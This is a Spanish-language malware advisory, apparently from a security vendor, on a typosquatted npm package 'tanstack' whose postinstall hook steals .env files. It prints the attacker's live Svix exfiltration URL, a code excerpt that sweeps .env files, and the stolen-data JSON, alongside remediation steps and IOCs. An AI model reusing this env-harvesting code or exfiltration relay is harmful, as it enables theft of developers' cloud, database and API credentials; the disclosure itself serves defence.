Alguien registró el tanstack nombre en npm, creó un SDK de reproductor de vídeo al que llamó "TanStack Player", y hoy publicó cuatro versiones rápidas diseñadas para exfiltrar sus archivos de entorno en el momento en que ejecute npm install.
El verdadero TanStack, el hogar de TanStack Query, TanStack Table, TanStack Router, todos esos @tanstack/* paquetes con millones de descargas semanales, no tiene nada que ver con esto. El atacante simplemente tomó el nombre sin ámbito, lo disfrazó de forma convincente y esperó.
Hoy a las 17:08 UTC, desplegaron la carga útil.
Qué ocurrió
Entre las 17:08 y las 17:35 UTC del 29 de abril de 2026, cuatro nuevas versiones del tanstack paquete npm fueron publicadas: 2.0.4, 2.0.5, 2.0.6 y 2.0.7. Las cuatro contienen un postinstall hook que se activa automáticamente cuando se instala el paquete.
Antes de hoy, tanstack@2.0.3 (publicado en marzo) no tenía ningún postinstall hook. Era un paquete limpio sin llamadas de red. Pero eso cambió hoy.
El postinstall.cjs script lee los archivos de entorno del directorio de trabajo del desarrollador y envía su contenido a un endpoint de webhook de Svix controlado por el atacante. Sin avisos. Sin salida visible en la mayoría de las versiones. Simplemente se ejecuta y sale.
El paquete tuvo alrededor de 19.830 descargas el mes pasado antes de que comenzara esta campaña.
La carga útil
El script es sencillo. Al instalarse, lee archivos locales y los envía mediante POST como JSON a este endpoint:
https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk
Svix es una empresa legítima de webhooks como servicio. El atacante está utilizando su producto "Ingest" como un relé de exfiltración, enrutando datos robados a través de un tercero de confianza para evitar el bloqueo a nivel de red.
La carga útil incluye el contenido de los archivos más los metadatos del sistema:
{
"package": "tanstack",
"version": "2.0.x",
"event": "postinstall",
"readme": "<contents of .env>",
"agents": "<contents of .env.local>",
"timestamp": "...",
"node": "v22.x.x",
"platform": "linux",
"arch": "x64"
}Los nombres de los campos (readme, agentes) son una distracción. 🪄 Lo que realmente se está enviando es su .env y .env.local.
Cuatro versiones, 27 minutos, un atacante probando en vivo
El historial de versiones es la parte más interesante de este incidente. El atacante publicó cuatro versiones en menos de media hora, iterando visiblemente en su payload entre cada push.
2.0.4 (17:08): Dirigido a .env y .env.local. La comprobación de exclusión voluntaria (TANSTACK_TELEMETRY_OPT_OUT) está comentada, lo que significa que no hay una vía de Escape. Incluye un duplicado postinstall.js archivo que no aparece en ninguna otra versión. Importa el http módulo pero nunca lo utiliza.
2.0.5 (17:11, tres minutos después): Cambia los archivos objetivo a README.md y AGENTS.md. También vuelve a habilitar el mecanismo de exclusión voluntaria. Esto parece un breve desvío — ya sea para probar si el webhook estaba recibiendo datos, o un intento de hacer que el hook pareciera más inofensivo antes de volver al punto inicial. README.md no es un archivo de credenciales.
2.0.6 (17:26): La versión peligrosa. Elimina por completo las rutas de archivo objetivo y las reemplaza con un barrido de directorio:
function collectEnvFiles() {
const allFiles = fs.readdirSync(rootDir);
const matches = allFiles.filter(
(f) => f === ".env" || f.startsWith(".env.")
);
for (const file of matches) {
envFiles[file] = fs.readFileSync(path.join(rootDir, file), "utf-8");
}
return envFiles;
}Esto captura todo: .env, .env.local, .env.production, .env.staging, .env.development. Todo se envía en una única solicitud POST. La salida de la consola se suprime por completo. La exclusión voluntaria se comenta de nuevo.
2.0.7 (17:35): Revierte a .env + .env.local orientación, mantiene la salida de la consola comentada. Añade una curiosa dependencia autorreferencial "tanstack": "^2.0.6" en su propio package.json. No está claro si es un error o si tiene algún propósito.
Lo que se observa en este historial de versiones es una depuración en vivo. El atacante ajustó su objetivo, probó su receptor y optimizó el sigilo, todo ello mientras el paquete estaba disponible públicamente y era instalable.
El 'name squatting'
El @tanstack organización publica algunas de las bibliotecas JavaScript más utilizadas en npm: solo TanStack Query recibe alrededor de 8 millones de descargas a la semana. La tanstack nombre sin ámbito ha estado disponible por separado desde diciembre de 2024.
Un desarrollador que ejecuta npm install tanstack en lugar de npm install @tanstack/query no obtiene lo que espera. Obtiene esto.
El README del paquete está pulido. Tiene una insignia de patrocinio, escudos de descarga de npm, una tabla de comparación de características, ejemplos de código. Se presenta como un producto real. La historia de portada es lo suficientemente buena como para que una mirada casual no lo detecte.
Qué se roba
En un proyecto JavaScript típico, .env los archivos contienen:
- Claves de acceso y secretos de AWS
- Tokens de acceso personal de GitHub
- Tokens de publicación de npm
- Cadenas de conexión a bases de datos
- Claves API de Stripe, Twilio, Resend, SendGrid
- Claves API de OpenAI, Anthropic y otros LLM
- Secretos de cliente OAuth
- Cualquier otra credencial de terceros configurada localmente
Si tiene un .env.production archivo en cualquier lugar cerca de su directorio de trabajo (la versión 2.0.6 lo habría encontrado), eso son credenciales de producción entregadas a un atacante en la instalación.
Remediación y detección
Paso 1: Comprueba si fuiste afectado
Revisa tus archivos de bloqueo y el historial de instalación para cualquiera de estas versiones de paquete:
# Comprobar package-lock.json
grep -r "tanstack" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Comprobar node_modules
ls node_modules/tanstack/package.json 2>/dev/null && cat node_modules/tanstack/package.json | grep '"version"'Versiones afectadas: 2.0.4, 2.0.5, 2.0.6, 2.0.7. Si alguna de estas aparece en un archivo de bloqueo, considera tus archivos de entorno como comprometidos.
Paso 2: Si fuiste afectado
Asume que cualquier .env archivo presente en el directorio de trabajo en el momento de la instalación fue exfiltrado. Rota inmediatamente:
- Claves de acceso y secretos de AWS (verifica CloudTrail en busca de llamadas a la API no autorizadas)
- Tokens de GitHub con ámbito de repositorio u organización
- Tokens de npm — revoca en npmjs.com/settings y vuelve a emitir
- Cualquier credencial de base de datos presente en
.env - Todas las claves API de terceros en los archivos afectados
Para entornos CI: el postinstall se ejecuta durante npm ci también. Si tu pipeline de CI instaló este paquete, rota todos los secretos inyectados en el entorno de ese pipeline. Revisa los registros de trabajo de tu proveedor de CI para el paso de instalación alrededor del momento del compromiso.
Para máquinas de desarrollador: esto es exfiltración de datos persistente, no un ataque en memoria. Los archivos fueron leídos y enviados. No hay binarios caídos ni mecanismos de persistencia que limpiar, pero tus credenciales ya están expuestas.
Busca tráfico HTTPS saliente hacia api.svix.com en tus registros de red alrededor del momento de la instalación. La solicitud POST habría provenido del runner de CI o de la máquina de desarrollador que ejecutó la instalación.
Paso 3: Detecta con Aikido
Si eres usuario de Aikido, revisa tu feed central y filtra por problemas de malware. La vulnerabilidad aparecerá como un problema crítico de 100/100 en el feed. Consejo: Aikido vuelve a escanear tus repositorios cada noche, aunque también recomendamos activar un reescaneo completo.
Si aún no eres usuario de Aikido, crea una cuenta y conecta tus repositorios. Nuestra cobertura de malware propietaria está incluida en el plan gratuito (sin tarjeta).
Paso 4: Protección futura (SafeChain)
Para protección futura, considera usar Aikido SafeChain (código abierto), un wrapper seguro para npm, npx, yarn, pnpm y pnpx. SafeChain se integra en tus flujos de trabajo actuales, interceptando comandos de instalación de paquetes y verificando paquetes en busca de malware contra Aikido Intel antes de la instalación. Detén las amenazas antes de que lleguen a tu máquina.
IOCs
tanstack@2.0.4— SHA256:72ec4571e27c06f1d48737477c2b38a4f90d699950dab8946b48591133dc4f90tanstack@2.0.5— SHA256:04ee5325c8900c9d644ed81c9012525b6fc19f21c65cef85b6ba98b6a0a23566tanstack@2.0.6— SHA256:abc164807947b102164488a08161adb4ee08be6b78a371350a6b156eed0d97d9tanstack@2.0.7— SHA256:7bb84e6ba893248814cd3bac70b7bdc115740fba9e13419940c73460cbcd7b6f- Endpoint de exfiltración:
hxxps://api.svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk - ID de fuente de Svix:
src_3387PLMB2uhXOBe3Q8sHu - Cuenta de mantenedor de npm:
sh20raj
Cierre
Este ataque nos recuerda lo poco que se necesita para convertir una configuración de name-squatting en un recolector activo de credenciales. El atacante no necesitó comprometer a un mantenedor, hacer phishing en un sistema de CI o explotar una vulnerabilidad. Registraron un paquete con un nombre plausible, añadieron un script post-instalación de una sola página y esperaron a que se produjeran las instalaciones.
Cabe destacar el patrón de iteración de cuatro versiones. No fue un despliegue único. El atacante estaba presente, observando y ajustando su payload en tiempo real. Eso es alguien que sabe lo que hace y que estaba optimizando específicamente la cobertura de credenciales.
Cada .env el archivo en su proyecto es un objetivo. Cualquier paquete con un hook post-instalación puede leerlos. El registro de npm otorga esa capacidad a cada editor por defecto.

